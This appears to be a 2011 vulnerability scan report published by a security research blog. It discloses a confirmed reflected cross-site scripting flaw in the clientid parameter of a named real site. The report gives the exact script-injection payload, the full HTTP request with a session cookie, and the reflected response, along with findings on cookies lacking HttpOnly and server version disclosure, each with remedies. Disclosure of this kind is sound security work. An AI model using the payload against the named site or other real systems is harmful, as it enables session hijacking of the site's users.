XSS, Cross Site Scripting in seal.controlcase.com, CWE-79, CAPEC-86, DORK, GHDB REPORT SUMMARY

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog

Loading

Netsparker - Scan Report Summary
TARGET URL
http://seal.controlcase.com/index.php?page=is...
SCAN DATE
4/24/2011 12:01:28 PM
REPORT DATE
4/24/2011 12:03:30 PM
SCAN DURATION
00:00:34

Total Requests

259

Average Speed

7.53 req/sec.
3
identified
2
confirmed
0
critical
0
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
33 %
LOW
67 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/index.php clientid GET Cross-site Scripting Yes
Cookie Not Marked As HttpOnly Yes
Apache Version Disclosure No
Cross-site Scripting

Cross-site Scripting

1 TOTAL
IMPORTANT
CONFIRMED
1
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /index.php

/index.php CONFIRMED

http://seal.controlcase.com/index.php?page=issueForm&clientid='%22--%3E%3C/style%3E%3C/script%3E%3Cs..

Parameters

Parameter Type Value
page GET issueForm
clientid GET '"--></style></script><script>alert(0x000068)</script>

Request

GET /index.php?page=issueForm&clientid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000068)%3C/script%3E HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: seal.controlcase.com
Cookie: PHPSESSID=b4b22f217ec92673b6e9e045432a7c71
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 17:01:35 GMT
Server: Apache/2.0.55 (Win32)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 3139
Content-Type: text/html; charset=ISO-8859-1


<head>
<title>Controlcase</title>
</head>
<link rel="stylesheet" type="text/css" href="templates/css/style.css" />
<div style="width:690px;height:570px; overflow:scroll">
<form name="issueForm" method='POST' action='index.php?page=issueForm'>
<input type="hidden" name="clientid" value="\'\"--></style></script><script>netsparker(0x000068)</script>">
<Body oncontextmenu="return false">
<table border="0" width="100%">
<tr>
<td colspan='2'><nobr><img border="0" src="templates/media/controlcase_managed_compliance.jpg"></nobr></td>
</tr>
<tr>
<td><b><font size=\"4\" face=\"verdana\"> Secured Seal Support<font></td>
</tr>
<tr>
<td>
<b><font size=\"2\" face=\"verdana\">Please fill out the following form and include as much information as possible.</br>
Note: <font color='red' face=\"verdana\">* </font>= required.</font>
</td>
<td align='left' class= 'nextpage'><b><a href="index.php?page=showCert&cId=\'\"--></style></script><script>netsparker(0x000068)</script>"><< Back</a></td>
</tr>
<tr>
<td colspan='2'>
<b><font size=\"2\" face=\"verdana\">Date<font>
</td>
</tr>
<tr>
<td colspan='2'>
<input type='text' name='dt' id='dt' value='Apr-24-2011' size='14' readonly>
</td>
</tr>
<tr>
<td colspan='2'>
<b><font size=\"2\" face=\"verdana\"><font color='red' >* </font>URL of Site<font>
</td>
</tr>
<tr>
<td colspan='2'>
<input type='text' name='url' id='url' value='' size='14'>
</td>
</tr>
<tr>
<td colspan='2'>
<b><font size=\"2\" face=\"verdana\"><font color='red' >* </font>Description of Site<font>
</td>
</tr>
<tr>
<td colspan='2'>
<textarea name='siteDEsc' id='siteDEsc' ROWS="5" COLS="40"></textarea>
</td>
</tr>
<tr>
<td colspan='2'>
<b><font size=\"2\" face=\"verdana\"><font color='red' >* </font>Explanation of Abuse<font>
</td>
</tr>
<tr>
<td colspan='2'>
<textarea name="explanation" ROWS="5" COLS="40"></textarea>
</td>
</tr>
<tr>
<td colspan='2'>
<b><font size=\"2\" face=\"verdana\"><font color='red' >* </font>Name<font>
</td>
</tr>
<tr>
<td colspan='2'>
<input type='text' name='name' id='name' value='' size='14'>
</td>
</tr>
<tr>
<td colspan='2'>
<b><font size=\"2\" face=\"verdana\"><font color='red' >* </font>Telephone<font>
</td>
</tr>
<tr>
<td colspan='2'>
<input type='text' name='telephone' id='telephone' value='' size='14'>
</td>
</tr>
<tr>
<td colspan='2'>
<b><font size=\"2\" face=\"verdana\"><font color='red' >* </font>Email Address<font>
</td>
</tr>
<tr>
<td colspan='2'>
<input type='text' name='email' id='email' value='' size='14'>
</td>
</tr>
<tr>
<td>
<input type="submit" value="Submit to ControlCase" name="Submit to ControlCase">
<!--a href="index.php?page=showCert&cId=\'\"--></style></script><script>netsparker(0x000068)</script>"><img src='include/image/back_en.gif' border=0></a-->
</td>
</tr>
</table>
</Body>
</form>
</div>
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /index.php

/index.php CONFIRMED

http://seal.controlcase.com/index.php?page=issueForm&clientid=3063048179

Identified Cookie

PHPSESSID

Request

GET /index.php?page=issueForm&clientid=3063048179 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: seal.controlcase.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 17:01:04 GMT
Server: Apache/2.0.55 (Win32)
Set-Cookie: PHPSESSID=b4b22f217ec92673b6e9e045432a7c71; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2986
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=ISO-8859-1


<head>
<title>Controlcase</title>
</head>
<link rel="stylesheet" type="text/css" href="templates/css/style.css" />
<div style="width:690px;height:570px; overflow:scroll">
<form name="issueForm" method='POST' action='index.php?page=issueForm'>
<input type="hidden" name="clientid" value="3063048179">
<Body oncontextmenu="return false">
<table border="0" width="100%">
<tr>
<td colspan='2'><nobr><img border="0" src="templates/media/controlcase_managed_compliance.jpg"></nobr></td>
</tr>
<tr>
<td><b><font size=\"4\" face=\"verdana\"> Secured Seal Support<font></td>
</tr>
<tr>
<td>
<b><font size=\"2\" face=\"verdana\">Please fill out the following form and include as much information as possible.</br>
Note: <font color='red' face=\"verdana\">* </font>= required.</font>
</td>
<td align='left' class= 'nextpage'><b><a href="index.php?page=showCert&cId=3063048179"><< Back</a></td>
</tr>
<tr>
<td colspan='2'>
<b><font size=\"2\" face=\"verdana\">Date<font>
</td>
</tr>
<tr>
<td colspan='2'>
<input type='text' name='dt' id='dt' value='Apr-24-2011' size='14' readonly>
</td>
</tr>
<tr>
<td colspan='2'>
<b><font size=\"2\" face=\"verdana\"><font color='red' >* </font>URL of Site<font>
</td>
</tr>
<tr>
<td colspan='2'>
<input type='text' name='url' id='url' value='' size='14'>
</td>
</tr>
<tr>
<td colspan='2'>
<b><font size=\"2\" face=\"verdana\"><font color='red' >* </font>Description of Site<font>
</td>
</tr>
<tr>
<td colspan='2'>
<textarea name='siteDEsc' id='siteDEsc' ROWS="5" COLS="40"></textarea>
</td>
</tr>
<tr>
<td colspan='2'>
<b><font size=\"2\" face=\"verdana\"><font color='red' >* </font>Explanation of Abuse<font>
</td>
</tr>
<tr>
<td colspan='2'>
<textarea name="explanation" ROWS="5" COLS="40"></textarea>
</td>
</tr>
<tr>
<td colspan='2'>
<b><font size=\"2\" face=\"verdana\"><font color='red' >* </font>Name<font>
</td>
</tr>
<tr>
<td colspan='2'>
<input type='text' name='name' id='name' value='' size='14'>
</td>
</tr>
<tr>
<td colspan='2'>
<b><font size=\"2\" face=\"verdana\"><font color='red' >* </font>Telephone<font>
</td>
</tr>
<tr>
<td colspan='2'>
<input type='text' name='telephone' id='telephone' value='' size='14'>
</td>
</tr>
<tr>
<td colspan='2'>
<b><font size=\"2\" face=\"verdana\"><font color='red' >* </font>Email Address<font>
</td>
</tr>
<tr>
<td colspan='2'>
<input type='text' name='email' id='email' value='' size='14'>
</td>
</tr>
<tr>
<td>
<input type="submit" value="Submit to ControlCase" name="Submit to ControlCase">
<!--a href="index.php?page=showCert&cId=3063048179"><img src='include/image/back_en.gif' border=0></a-->
</td>
</tr>
</table>
</Body>
</form>
</div>
Apache Version Disclosure

Apache Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /index.php

/index.php

http://seal.controlcase.com/index.php?page=issueForm&clientid=3063048179

Extracted Version

2.0.55 (Win32)

Request

GET /index.php?page=issueForm&clientid=3063048179 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: seal.controlcase.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 17:01:04 GMT
Server: Apache/2.0.55 (Win32)
Set-Cookie: PHPSESSID=a061df5610a6f64ed13c14f0d849a99d; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2986
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=ISO-8859-1


<head>
<title>Controlcase</title>
</head>
<link rel="stylesheet" type="text/css" href="templates/css/style.css" />
<div style="width:690px;height:570px; overflow:scroll">
<form name="issueForm" method='POST' action='index.php?page=issueForm'>
<input type="hidden" name="clientid" value="3063048179">
<Body oncontextmenu="return false">
<table border="0" width="100%">
<tr>
<td colspan='2'><nobr><img border="0" src="templates/media/controlcase_managed_compliance.jpg"></nobr></td>
</tr>
<tr>
<td><b><font size=\"4\" face=\"verdana\"> Secured Seal Support<font></td>
</tr>
<tr>
<td>
<b><font size=\"2\" face=\"verdana\">Please fill out the following form and include as much information as possible.</br>
Note: <font color='red' face=\"verdana\">* </font>= required.</font>
</td>
<td align='left' class= 'nextpage'><b><a href="index.php?page=showCert&cId=3063048179"><< Back</a></td>
</tr>
<tr>
<td colspan='2'>
<b><font size=\"2\" face=\"verdana\">Date<font>
</td>
</tr>
<tr>
<td colspan='2'>
<input type='text' name='dt' id='dt' value='Apr-24-2011' size='14' readonly>
</td>
</tr>
<tr>
<td colspan='2'>
<b><font size=\"2\" face=\"verdana\"><font color='red' >* </font>URL of Site<font>
</td>
</tr>
<tr>
<td colspan='2'>
<input type='text' name='url' id='url' value='' size='14'>
</td>
</tr>
<tr>
<td colspan='2'>
<b><font size=\"2\" face=\"verdana\"><font color='red' >* </font>Description of Site<font>
</td>
</tr>
<tr>
<td colspan='2'>
<textarea name='siteDEsc' id='siteDEsc' ROWS="5" COLS="40"></textarea>
</td>
</tr>
<tr>
<td colspan='2'>
<b><font size=\"2\" face=\"verdana\"><font color='red' >* </font>Explanation of Abuse<font>
</td>
</tr>
<tr>
<td colspan='2'>
<textarea name="explanation" ROWS="5" COLS="40"></textarea>
</td>
</tr>
<tr>
<td colspan='2'>
<b><font size=\"2\" face=\"verdana\"><font color='red' >* </font>Name<font>
</td>
</tr>
<tr>
<td colspan='2'>
<input type='text' name='name' id='name' value='' size='14'>
</td>
</tr>
<tr>
<td colspan='2'>
<b><font size=\"2\" face=\"verdana\"><font color='red' >* </font>Telephone<font>
</td>
</tr>
<tr>
<td colspan='2'>
<input type='text' name='telephone' id='telephone' value='' size='14'>
</td>
</tr>
<tr>
<td colspan='2'>
<b><font size=\"2\" face=\"verdana\"><font color='red' >* </font>Email Address<font>
</td>
</tr>
<tr>
<td colspan='2'>
<input type='text' name='email' id='email' value='' size='14'>
</td>
</tr>
<tr>
<td>
<input type="submit" value="Submit to ControlCase" name="Submit to ControlCase">
<!--a href="index.php?page=showCert&cId=3063048179"><img src='include/image/back_en.gif' border=0></a-->
</td>
</tr>
</table>
</Body>
</form>
</div>